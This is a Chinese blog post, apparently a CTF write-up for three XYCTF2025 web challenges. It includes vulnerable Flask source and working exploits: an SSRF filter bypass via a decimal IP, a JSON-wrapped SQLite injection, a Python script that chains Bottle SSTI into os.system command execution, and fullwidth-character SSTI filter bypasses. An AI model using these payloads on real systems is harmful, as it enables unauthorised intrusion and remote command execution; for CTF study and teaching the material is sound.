XYCTF2025

本文最后更新于 2026年3月13日 晚上

Fate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')

target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)

return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]

@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1': #必须本地访问
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")

name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""

fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")

return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
app.run(debug=True)

这里我们的最终目的是通过/1337路由的sqlite查询查询到LAMENTXU字段

那么/1337限制必须内网访问,就用到了/proxy路由的ssrf,对url过滤了字母和点字符,这里我们用十进制绕过。

1
/proxy?url=@2130706433:8080/1337

下一步是/1337路由要求传参0和1,其中0可以用二次编码绕过

它对1进行binary_to_string,然后解析json,我们用ai写一个string_to_binary

1
2
3
payload = '{"name": {"))))))) or 1=1 order by FATE DESC --+":"1"}}'
binary_output = ''.join(format(ord(char), '08b') for char in payload)
print(binary_output)

下面思考对name的长度限制怎么绕过,这里看了wp了解到了字典绕过,也就是name是一个字典那么它的长度就是1

接下来就是sqlite注入了,闭合就好

image-20260313181437857

出题人已疯

bottle的SSTI可以直接访问到内部类,所以我们之间往os.a里面一个一个塞字符就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url='http://challenge.imxbt.cn:30765/attack'

payload="__import__('os').system('cat /flag>1')"


flag=True
for i in payload:
if flag:
tmp=f'\n%import os;os.b="{i}"'
flag=False
else:
tmp=f'\n%import os;os.b+="{i}"'
r=requests.get(url,params={"payload":tmp})
r=requests.get(url,params={"payload":"\n%import os;eval(os.b)"})
r=requests.get(url,params={"payload":"\n%include('1')"}).text
print(r)

这里最后两步如果用浏览器手动传参会有一点点问题,还是一个脚本一次性完成较好

出题人又疯

这里过滤了一些关键字,我们可以用斜体、全角绕过

1
/attack?payload={{%BApen(%27/flag%27).re%aad()}}

如果用全角的话会超长度限制可以用上题的脚本


XYCTF2025
https://www.sunynov.top/2026/03/13/XYCTF2025/
作者
suny
发布于
2026年3月13日
许可协议